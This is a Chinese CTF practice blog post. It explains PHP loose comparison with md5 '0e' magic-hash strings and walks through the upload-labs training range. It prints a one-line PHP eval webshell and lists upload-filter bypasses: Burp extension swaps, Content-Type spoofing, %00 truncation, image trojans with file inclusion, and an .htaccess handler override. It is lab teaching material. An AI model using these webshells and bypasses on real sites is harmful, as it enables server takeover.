2021-03-19-每日一题(文件上传绕过)

每天一道CTF,日积月累,期待进步!

弱类型比较,文件上传绕过

弱类型比较

==:等号两边类型不同,会转换成相同类型再比较。当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0)

===:如果类型不同就直接不相等了。

"0e123456"=="0e456789"
//0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

应用md5绕过

if (md5($Username) != md5($password)) 
  {$logined = false;}

题目大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句 。md5开头是0e的字符串有:QNKCDZO;s878926199a;
s155964671a;s214587387a;s214587387a;s878926199a;240610708。
上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

构造md5(‘240610708’) == md5(‘QNKCDZO’),成功绕过!

正则表达式

注意第14个和第15个

a1.png

文件上传漏洞绕过

Upload_lab概述

项目地址:https://github.com/c0ny1/upload-labs

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

靶机包含漏洞类型分类

a2.jpg

如何判断上传漏洞类型?
a3.png

Windows环境配置流程

首先安装好phpstudy

将下载好的upload_lab文件放置在/phpstudy/WWW目录下

打开浏览器输入localhost/upload-labs/ 即可访问。

begin.png

第一关

源码:后缀检查。

a1.png

一句话木马,后缀该为png

a3.png

a2.png

上传lyj.png,由于是在客户端进行JS检测的,抓包修改绕过,改为 shell.php 再次上传(点击forward)

a8.png

此时查看图片,url是/lyj.php,蚁剑连接

a7.png

a6.png

攻战成功。

a9.png

总结

客户端(第一关)

通过javascript来校验上传文件的后缀是否合法,可以采用白名单,也可以采用黑名单的方式。

判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

绕过:

(1)首先我们将上传文件后缀由php➡jpg

(2)通过Burp抓包将jpg➡php

服务器端
  • 校验请求头 content-type字段:通过抓包来修改Http头的content-type为image/jpg即可绕过。(第二关)

  • 后缀白名单检测:绕过方法

    (1)%00截断(第十一关)
    无论0x00还是%00,最终被解析后都是一个东西:chr(0)空字符 当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃

    如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了。或者在burpsuit抓包中直接插入%00

    (2)图片木马(配合文件包含漏洞)(第十三关)

copy 1.png/b + 2.php/a 3.jpg   //新文件是3.jpg 
<?php @eval($_POST["123"]);?>

虽然我们的一句话木马上传成功了,但是他是以jpg为后缀的,菜刀不能直接连接,必须让他作为php解析。通过已知的文件包含漏洞执行我们上传的图片文件。

构造URL:?page=file://./upload/xxxxxxx.jpg (xxxx是图片上传之后的保存路径)

  • 黑名单检测:绕过方法: (1)找黑名单扩展名的漏网之鱼

    PHP:php2;php3;php5;phtml;pht (第三关)

    ASP:asa;cer;cdx

    ASPX:ascx;ashx;asac

    JSP:jsp;jspx;jspf

    (2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类(第五关)

    (3)空格绕过:windows等系统下,文件后缀加空格命名之后是默认自动删除空格。(第六关)

    (4)点号绕过:windows等系统默认删除文件后缀的.和空格(第七关)

    (5)双写绕过:str_ireplace这个函数将php,php5,php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。(第十关)

Others

  • .htaccess(第四关)

首先上传一个.htaccess内容如下的文件:
SetHandler application/x-httpd-php
这样所有文件都会解析为php,然后再上传图片马,就可以解析。

print(scandir(‘./’))目录扫描
show_source("FI@g3.php") 打印文件内容
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,222评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,455评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,720评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,568评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,696评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,879评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,028评论 3 409
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,773评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,220评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,550评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,697评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,360评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,002评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,782评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,010评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,433评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,587评论 2 350

推荐阅读更多精彩内容